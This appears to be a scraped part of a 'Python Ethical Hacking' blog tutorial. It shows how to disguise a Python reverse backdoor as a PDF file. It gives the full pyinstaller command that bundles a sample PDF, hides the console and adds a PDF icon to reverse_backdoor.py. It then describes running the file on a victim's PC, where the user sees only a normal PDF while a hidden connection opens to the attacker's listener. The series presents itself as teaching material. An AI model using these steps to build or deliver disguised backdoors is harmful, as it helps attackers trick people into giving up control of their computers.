Python Ethical Hacking - *S Analysis(4)

Adding Icons to Generated Executables

Prepare a proper icon file.

https://www.iconfinder.com/

Python Ethical Hacking - *S Analysis(4)

 

 

 

Convert the downloaded png file to an icon file.

https://www.easyicon.net/language.en/covert/

Python Ethical Hacking - *S Analysis(4)

 

 

 

Convert the Python program to Windows executable -  adding the "--icon" arguments this time.

wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe --add-data "/root/Downloads/sample.pdf;." --onefile --noconsole --icon /root/Downloads/pdf.ico reverse_backdoor.py 

Python Ethical Hacking - *S Analysis(4)

 

 

 Download to the Victim Windows PC.

Python Ethical Hacking - *S Analysis(4)

 

Run the lister on Kali Linux, and run the reverse_backdoor.exe file on the victim PC. The user can only see a normal pdf file, but the communication has been established background.

 

 Python Ethical Hacking - *S Analysis(4)

Python Ethical Hacking - *S Analysis(4)

 

上一篇:JAVA微信扫码支付模式二功能实现以及回调


下一篇:工厂方法模式